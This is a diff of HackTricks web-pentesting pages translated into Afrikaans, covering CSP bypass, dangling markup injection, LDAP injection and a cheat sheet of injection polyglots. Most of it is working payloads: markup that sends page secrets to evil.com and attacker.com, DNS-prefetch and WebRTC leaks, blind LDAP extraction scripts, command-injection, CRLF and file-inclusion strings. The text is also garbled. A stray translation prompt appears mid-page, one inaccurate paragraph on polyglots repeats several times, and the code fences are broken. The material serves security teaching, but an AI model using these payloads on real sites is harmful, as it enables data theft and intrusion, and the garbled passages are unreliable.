body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
||||
```
|
||||
|
||||
### Ander manier:
|
||||
|
||||
Die volgende is inhoud uit 'n hakkersboek oor hakkingstegnieke. Die volgende inhoud is uit die lêer pentesting-web/content-security-policy-csp-bypass/README.md. Vertaal die relevante Engelse teks na Afrikaans en gee die vertaling terug met behoud van presies dieselfde markdown- en html-sintaks. Moet nie dinge soos kode, hakkingstegniekname, hakkingwoord, wolk/SaaS-platformname (soos Workspace, aws, gcp...), die woord 'lek', pentesting, en markdown-etikette vertaal nie. Moet ook nie enige ekstra dinge byvoeg buite die vertaling en markdown-sintaks nie.
|
||||
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
linkEl.href = urlWithYourPreciousData;
|
||||
document.head.appendChild(linkEl);
|
||||
```
|
||||
|
||||
Om te voorkom dat dit gebeur, kan die bediener die HTTP-kop stuur:
|
||||
|
||||
```
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
Dit blykbaar werk hierdie tegniek nie in headless-browsers (bots)
|
||||
{% endhint %}
|
||||
|
@ -733,10 +809,13 @@ Dit blykbaar werk hierdie tegniek nie in headless-browsers (bots)
|
|||
Op verskeie bladsye kan jy lees dat **WebRTC nie die `connect-src` beleid van die CSP nagaan nie**.
|
||||
|
||||
Eintlik kan jy inligting _lek_ deur 'n _DNS versoek_. Kyk na hierdie kode:
|
||||
|
||||
```javascript
|
||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||
```
|
||||
|
||||
'n Ander opsie:'
|
||||
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({
|
||||
"iceServers":[
|
||||
|
@ -748,6 +827,7 @@ var pc = new RTCPeerConnection({
|
|||
});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
|
||||
## Kontroleer CSP-beleide aanlyn
|
||||
|
||||
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Hangende Markup - HTML skripslose inspuiting
|
||||
# Dangling Markup - HTML scriptless injection
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -28,31 +28,41 @@ Verskeie tegnieke wat hier bespreek word, kan gebruik word om sekere [**Inhoudsv
|
|||
As jy `<img src='http://evil.com/log.cgi?` inspuit wanneer die bladsy gelaai word, sal die slagoffer al die kode tussen die ingespuite `img`-etiket en die volgende aanhalingsteken binne die kode aan jou stuur. As 'n geheim op een of ander manier in daardie brokkie geleë is, sal jy dit steel (jy kan dieselfde ding doen deur 'n dubbele aanhalingsteken te gebruik, kyk watter een meer interessant kan wees om te gebruik).
|
||||
|
||||
As die `img`-etiket verbode is (as gevolg van CSP byvoorbeeld) kan jy ook `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` gebruik.
|
||||
|
||||
```html
|
||||
<img src='http://attacker.com/log.php?HTML=
|
||||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||||
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
||||
```
|
||||
|
||||
Merk op dat **Chrome blokkeer HTTP URL's** met "<" of "\n" daarin, so jy kan ander protokol skemas soos "ftp" probeer.
|
||||
|
||||
Jy kan ook CSS `@import` misbruik (sal al die kode stuur tot dit 'n ";") vind.
|
||||
|
||||
```html
|
||||
<style>@import//hackvertor.co.uk? <--- Injected
|
||||
<b>steal me!</b>;
|
||||
```
|
||||
|
||||
Jy kan ook **`<table`** gebruik:
|
||||
|
||||
```html
|
||||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||||
```
|
||||
|
||||
Jy kan ook 'n `<base` tag invoeg. Alle inligting sal gestuur word totdat die aanhalingsteken gesluit is, maar dit vereis 'n bietjie gebruikerinteraksie (die gebruiker moet op 'n skakel klik, omdat die basis tag die domein wat deur die skakel aangedui word, verander sal het):
|
||||
|
||||
```html
|
||||
<base target=' <--- Injected
|
||||
steal me'<b>test</b>
|
||||
```
|
||||
|
||||
### Steel vorms
|
||||
|
||||
```html
|
||||
<base href='http://evil.com/'>
|
||||
```
|
||||
|
||||
Dan sal die vorms wat data na die pad stuur (soos `<form action='update_profile.php'>`) die data na die skadelike domein stuur.
|
||||
|
||||
### Steel vorms 2
|
||||
|
@ -62,9 +72,11 @@ Stel 'n vormkop in: `<form action='http://evil.com/log_steal'>` dit sal die volg
|
|||
### Steel vorms 3
|
||||
|
||||
Die knoppie kan die URL waarheen die inligting van die vorm gestuur gaan word, verander met die attribuut "formaction":
|
||||
|
||||
```html
|
||||
<button name=xss type=submit formaction='https://google.com'>I get consumed!
|
||||
```
|
||||
|
||||
'n Aanvaller kan dit gebruik om die inligting te steel.
|
||||
|
||||
Vind 'n [**voorbeeld van hierdie aanval in hierdie skryfstuk**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
|
||||
|
@ -72,18 +84,23 @@ Vind 'n [**voorbeeld van hierdie aanval in hierdie skryfstuk**](https://portswig
|
|||
### Steel skoon teks geheime 2
|
||||
|
||||
Deur die nuutste genoemde tegniek te gebruik om vorms te steel (inspuiting van 'n nuwe vormkop) kan jy dan 'n nuwe insetveld inspuit:
|
||||
|
||||
```html
|
||||
<input type='hidden' name='review_body' value="
|
||||
```
|
||||
|
||||
En hierdie insetveld sal al die inhoud tussen sy dubbeld aanhalingstekens en die volgende dubbeld aanhalingstekens in die HTML bevat. Hierdie aanval meng die "_**Diefstal van duidelike teksgeheime**_" met "_**Diefstal van vorms2**_".
|
||||
|
||||
Jy kan dieselfde ding doen deur 'n vorm en 'n `<option>`-tag in te spuit. Alle data tot 'n geslote `</option>` gevind word, sal gestuur word:
|
||||
|
||||
```html
|
||||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||||
```
|
||||
|
||||
### Vormparameterinspuiting
|
||||
|
||||
Jy kan die pad van 'n vorm verander en nuwe waardes invoeg sodat 'n onverwagte aksie uitgevoer sal word:
|
||||
|
||||
```html
|
||||
<form action='/change_settings.php'>
|
||||
<input type='hidden' name='invite_user'
|
||||
|
@ -97,32 +114,40 @@ value='fredmbogo'> ← Injected lines
|
|||
...
|
||||
</form>
|
||||
```
|
||||
|
||||
### Steel van teksgeheime via noscript
|
||||
|
||||
`<noscript></noscript>` Is 'n tag waarvan die inhoud geïnterpreteer sal word as die webblaaier nie javascript ondersteun nie (jy kan Javascript in Chrome aktiveer/deaktiveer by [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||||
|
||||
'n Manier om die inhoud van die webbladsy vanaf die inspuitingspunt na die onderkant na 'n aanvallerbeheerde webwerf te eksfiltreer, sal wees om dit in te spuit:
|
||||
|
||||
```html
|
||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||
```
|
||||
|
||||
### Oorskryding van CSP met gebruikersinteraksie
|
||||
|
||||
Van hierdie [portswiggers navorsing](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) kan jy leer dat selfs in die **mees CSP-beperkte** omgewings jy steeds **data kan uitlek** met 'n bietjie **gebruikersinteraksie**. In hierdie geval gaan ons die lading gebruik:
|
||||
|
||||
```html
|
||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||
<base target='
|
||||
```
|
||||
|
||||
Let wel dat jy die **slagoffer** sal vra om op 'n skakel te **klik** wat hom sal **herlei** na 'n **lading** wat deur jou beheer word. Let ook daarop dat die **`teiken`** attribuut binne die **`basis`** etiket **HTML-inhoud** sal bevat tot die volgende enkel aanhalingsteken.\
|
||||
Dit sal veroorsaak dat die **waarde** van **`window.name`** as die skakel geklik word, al daardie **HTML-inhoud** sal wees. Daarom, aangesien jy die bladsy **beheer** waar die slagoffer toegang tot verkry deur op die skakel te klik, kan jy daardie **`window.name`** bereik en daardie data **eksfileer**:
|
||||
|
||||
```html
|
||||
<script>
|
||||
if(window.name) {
|
||||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||||
</script>
|
||||
```
|
||||
|
||||
### Misleidende skripskema 1 - HTML-naamruimte-aanval
|
||||
|
||||
Voeg 'n nuwe tag met 'n id binne die HTML in wat die volgende een sal oorskryf en met 'n waarde wat die vloei van 'n skrip sal beïnvloed. In hierdie voorbeeld kies jy met wie 'n inligting gedeel gaan word:
|
||||
|
||||
```html
|
||||
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
|
||||
...
|
||||
|
@ -137,9 +162,11 @@ request.share_with = document.getElementById('share_with').value;
|
|||
...
|
||||
}
|
||||
```
|
||||
|
||||
### Misleidende skripskema 2 - Skripsnaamruimte-aanval
|
||||
|
||||
Skep veranderlikes binne die javascript-naamruimte deur HTML-tags in te voeg. Dan sal hierdie veranderlike die vloei van die aansoek beïnvloed:
|
||||
|
||||
```html
|
||||
<img id='is_public'> ← Injected markup
|
||||
|
||||
|
@ -161,9 +188,11 @@ if (is_public) request.access_mode = AM_PUBLIC; ← Condition always e
|
|||
...
|
||||
}
|
||||
```
|
||||
|
||||
### Misbruik van JSONP
|
||||
|
||||
As jy 'n JSONP-koppelvlak vind, kan jy 'n willekeurige funksie met willekeurige data aanroep:
|
||||
|
||||
```html
|
||||
<script src='/editor/sharing.js'>: ← Legitimate script
|
||||
function set_sharing(public) {
|
||||
|
@ -175,19 +204,25 @@ else request.access_mode = AM_PRIVATE;
|
|||
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
|
||||
set_sharing({ ... })
|
||||
```
|
||||
|
||||
Of jy kan selfs probeer om 'n bietjie javascript uit te voer:
|
||||
|
||||
```html
|
||||
<script src='/search?q=a&call=alert(1)'></script>
|
||||
```
|
||||
|
||||
### Iframe misbruik
|
||||
|
||||
'n Kind-dokument besit die vermoë om die `location` eienskap van sy ouer te sien en te wysig, selfs in kruis-oorsprong situasies. Dit maak dit moontlik om 'n skrips binne 'n **iframe** in te sluit wat die kliënt na 'n willekeurige bladsy kan herlei:
|
||||
|
||||
```html
|
||||
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
|
||||
```
|
||||
|
||||
Dit kan geminimaliseer word met iets soos: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
|
||||
'n Iframe kan ook misbruik word om sensitiewe inligting van 'n ander bladsy te lek **deur die iframe-naamkenmerk te gebruik**. Dit is omdat jy 'n iframe kan skep wat homself iframed deur die HTML-inspuiting te misbruik wat die **sensitiewe inligting binne die iframe-naamkenmerk laat verskyn** en dan daardie naam vanaf die oorspronklike iframe kan benader en lek.
|
||||
|
||||
```html
|
||||
<script>
|
||||
function cspBypass(win) {
|
||||
|
@ -198,6 +233,7 @@ setTimeout(()=>alert(win[0].name), 500);
|
|||
|
||||
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
|
||||
```
|
||||
|
||||
Vir meer inligting kyk na [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||||
|
||||
### \<meta misbruik
|
||||
|
@ -210,9 +246,11 @@ Dit kan **vermy** word met 'n **CSP** met betrekking tot **http-equiv** (`Conten
|
|||
|
||||
Jy kan 'n baie **interessante navorsing** vind oor uitbuitbare kwesbaarhede van die \<portal-tag [hier](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
Op die oomblik van hierdie skrywe moet jy die portal-tag op Chrome aktiveer in `chrome://flags/#enable-portals` of dit sal nie werk nie.
|
||||
|
||||
```html
|
||||
<portal src='https://attacker-server?
|
||||
```
|
||||
|
||||
### HTML Lekasies
|
||||
|
||||
Nie al die maniere om konnektiwiteit in HTML te lek sal nuttig wees vir Dangling Markup nie, maar soms kan dit help. Kontroleer hulle hier: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||
|
@ -227,10 +265,10 @@ Dit is 'n **mengsel** tussen **dangling markup en XS-Lekasies**. Aan die een kan
|
|||
|
||||
## XS-Soek/XS-Lekasies
|
||||
|
||||
XS-Soek is gerig op **eksfiltrasie van kruis-oorsprong inligting** deur **syferkanaal aanvalle** te misbruik. Daarom is dit 'n ander tegniek as Dangling Markup, maar sommige van die tegnieke misbruik die insluiting van HTML-etikette (met en sonder JS-uitvoering), soos [**CSS-inspuiting**](../xs-search.md#css-injection) of [**Lui Laai Beelde**](../xs-search.md#image-lazy-loading)**.**
|
||||
XS-Soek is gerig op **eksfiltrasie van kruis-oorsprong inligting** deur **syferkanaal aanvalle** te misbruik. Daarom is dit 'n ander tegniek as Dangling Markup, maar sommige van die tegnieke misbruik die insluiting van HTML-etikette (met en sonder JS-uitvoering), soos [**CSS-inspuiting**](../xs-search/#css-injection) of [**Lui Laai Beelde**](../xs-search/#image-lazy-loading)**.**
|
||||
|
||||
{% content-ref url="../xs-search.md" %}
|
||||
[xs-search.md](../xs-search.md)
|
||||
{% content-ref url="../xs-search/" %}
|
||||
[xs-search](../xs-search/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Brute-Force Opmerkingslys
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# LDAP Inspruiting
|
||||
# LDAP Injection
|
||||
|
||||
## LDAP Inspruiting
|
||||
|
||||
|
@ -75,6 +75,7 @@ Dan: `(&(objectClass=`**`*)(ObjectClass=*))`** sal die eerste filter wees (die e
|
|||
### Aantekeningsverbygaan
|
||||
|
||||
LDAP ondersteun verskeie formate om die wagwoord te stoor: duidelik, md5, smd5, sh1, sha, crypt. Dus, dit kan wees dat ongeag wat jy binne die wagwoord invoer, dit gehash word.
|
||||
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -129,6 +130,7 @@ username=admin))(|(|
|
|||
password=any
|
||||
--> (&(uid=admin)) (| (|) (webpassword=any))
|
||||
```
|
||||
|
||||
#### Lyste
|
||||
|
||||
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
||||
|
@ -138,6 +140,7 @@ password=any
|
|||
### Blinde LDAP-inspuiting
|
||||
|
||||
Jy kan Vals of Waar reaksies afdwing om te kyk of enige data teruggegee word en 'n moontlike Blinde LDAP-inspuiting te bevestig:
|
||||
|
||||
```bash
|
||||
#This will result on True, so some information will be shown
|
||||
Payload: *)(objectClass=*))(&objectClass=void
|
||||
|
@ -149,9 +152,11 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
|
|||
Payload: void)(objectClass=void))(&objectClass=void
|
||||
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
|
||||
```
|
||||
|
||||
#### Stort data
|
||||
|
||||
Jy kan oor die ASCII-letters, syfers en simbole iterasieer:
|
||||
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
|
@ -162,11 +167,13 @@ Jy kan oor die ASCII-letters, syfers en simbole iterasieer:
|
|||
(&(sn=administrator)(password=MB*)) : KO
|
||||
...
|
||||
```
|
||||
|
||||
### Skripte
|
||||
|
||||
#### **Ontdek geldige LDAP-velde**
|
||||
|
||||
LDAP-voorwerpe **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor**. Jy kan probeer om **hulle almal met geweld te ontsluit om daardie inligting te onttrek.** Jy kan 'n lys van [**standaard LDAP-eienskappe hier vind**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -198,7 +205,9 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
|||
finish = True
|
||||
print()
|
||||
```
|
||||
|
||||
#### **Spesiale Blinde LDAP-inspuiting (sonder "\*")**
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
@ -215,15 +224,18 @@ flag += char
|
|||
print("[+] Flag: " + flag)
|
||||
break
|
||||
```
|
||||
|
||||
### Google Dorks
|
||||
|
||||
```bash
|
||||
intitle:"phpLDAPadmin" inurl:cmd.php
|
||||
```
|
||||
|
||||
### Meer Lading
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/af/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in **hackingsloopbaan** en hack die onhackbare - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gespreek benodig_).
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Weerspieëlende Tegnieke - PoCs en Polygloths Spiekbrief
|
||||
# Reflecting Techniques - PoCs and Polygloths CheatSheet
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
@ -25,6 +25,7 @@ Jy sal **nie inhoudstipe-afhanklike inspuitings soos XXE** vind nie, omdat jy di
|
|||
{% endhint %}
|
||||
|
||||
## Lys van Polygloths
|
||||
|
||||
```python
|
||||
{{7*7}}[7*7]
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
|
@ -64,28 +65,34 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
|||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
```
|
||||
|
||||
## [Kliëntkant Sjablooninspuiting](../client-side-template-injection-csti.md)
|
||||
|
||||
### Basiese Toetse
|
||||
|
||||
```
|
||||
{{7*7}}
|
||||
[7*7]
|
||||
```
|
||||
|
||||
### Polyglote
|
||||
|
||||
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
|
||||
|
||||
- **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer en gebruikers se inligting te steel.
|
||||
- **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
|
||||
- **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
|
||||
* **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer en gebruikers se inligting te steel.
|
||||
* **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
|
||||
* **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
|
||||
|
||||
Polyglote aanvalle is 'n gevorderde tegniek wat deeglike kennis van lêerformate en die interpreteeringsproses vereis. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry.
|
||||
|
||||
```bash
|
||||
{{7*7}}[7*7]
|
||||
```
|
||||
## [Opdraginjeksie](../opdraginjeksie.md)
|
||||
|
||||
## [Opdraginjeksie](https://github.com/carlospolop/hacktricks/blob/af/pentesting-web/opdraginjeksie.md)
|
||||
|
||||
### Basiese Toetse
|
||||
|
||||
```bash
|
||||
;ls
|
||||
||ls;
|
||||
|
@ -96,33 +103,38 @@ Polyglote aanvalle is 'n gevorderde tegniek wat deeglike kennis van lêerformate
|
|||
`ls`
|
||||
$(ls)
|
||||
```
|
||||
|
||||
### Polyglote
|
||||
|
||||
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
|
||||
|
||||
- **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer.
|
||||
- **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
|
||||
- **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
|
||||
* **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer.
|
||||
* **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
|
||||
* **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
|
||||
|
||||
Polyglote aanvalle kan baie gevaarlik wees omdat dit moeilik is om hulle te identifiseer en te blokkeer. Dit is belangrik vir beveiligingspersoneel om bewus te wees van hierdie tipe aanvalle en om maatreëls te tref om hulle te voorkom.
|
||||
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
|
||||
## [CRLF](../crlf-0d-0a.md)
|
||||
|
||||
### Basiese Toetse
|
||||
|
||||
```bash
|
||||
%0d%0aLocation:%20http://attacker.com
|
||||
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
```
|
||||
|
||||
## Hangende Opmaak
|
||||
|
||||
### Basiese Toetse
|
||||
|
||||
```html
|
||||
````html
|
||||
<!-- HTML Comment -->
|
||||
<!-- HTML Kommentaar -->
|
||||
|
||||
|
@ -234,10 +246,12 @@ Polyglote aanvalle kan baie gevaarlik wees omdat dit moeilik is om hulle te iden
|
|||
<!-- HTML Comment with dangling markup and attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute value containing attribute
|
||||
```markup
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
```
|
||||
````
|
||||
|
||||
## [Lêerinsluiting/Paddeurloop](../file-inclusion/)
|
||||
|
||||
### Basiese Toetse
|
||||
|
||||
```bash
|
||||
/etc/passwd
|
||||
../../../../../../etc/hosts
|
||||
|
@ -250,9 +264,11 @@ C:/windows/system32/drivers/etc/hosts
|
|||
http://asdasdasdasd.burpcollab.com/mal.php
|
||||
\\asdasdasdasd.burpcollab.com/mal.php
|
||||
```
|
||||
|
||||
## [Oopverwysing na 'n Ander Plek](../open-redirect.md) / [Bedrog met Aanvraag aan die Bedienerkant](../ssrf-server-side-request-forgery/)
|
||||
|
||||
### Basiese Toetse
|
||||
|
||||
```bash
|
||||
www.whitelisted.com
|
||||
www.whitelisted.com.evil.com
|
||||
|
@ -260,35 +276,42 @@ https://google.com
|
|||
//google.com
|
||||
javascript:alert(1)
|
||||
```
|
||||
|
||||
## [ReDoS](../regular-expression-denial-of-service-redos.md)
|
||||
|
||||
### Basiese Toetse
|
||||
|
||||
```bash
|
||||
(\\w*)+$
|
||||
([a-zA-Z]+)*$
|
||||
((a+)+)+$
|
||||
```
|
||||
|
||||
## [Bedienersy-insluiting/Kant-insluiting](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
|
||||
### Basiese Toetse
|
||||
|
||||
```markup
|
||||
<!--#echo var="DATE_LOCAL" -->
|
||||
<!--#exec cmd="ls" -->
|
||||
<esi:include src=http://attacker.com/>
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
|
||||
### Polyglote
|
||||
|
||||
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
|
||||
|
||||
- **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer.
|
||||
- **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
|
||||
- **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
|
||||
* **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer.
|
||||
* **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
|
||||
* **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
|
||||
|
||||
Polyglote aanvalle is 'n gevorderde tegniek wat deeglike kennis van die verskillende lêerformate en die programmatuur wat dit interpreteer, vereis. Dit kan gebruik word om sekuriteitslekke uit te buit en toegang tot 'n stelsel te verkry.
|
||||
|
||||
```markup
|
||||
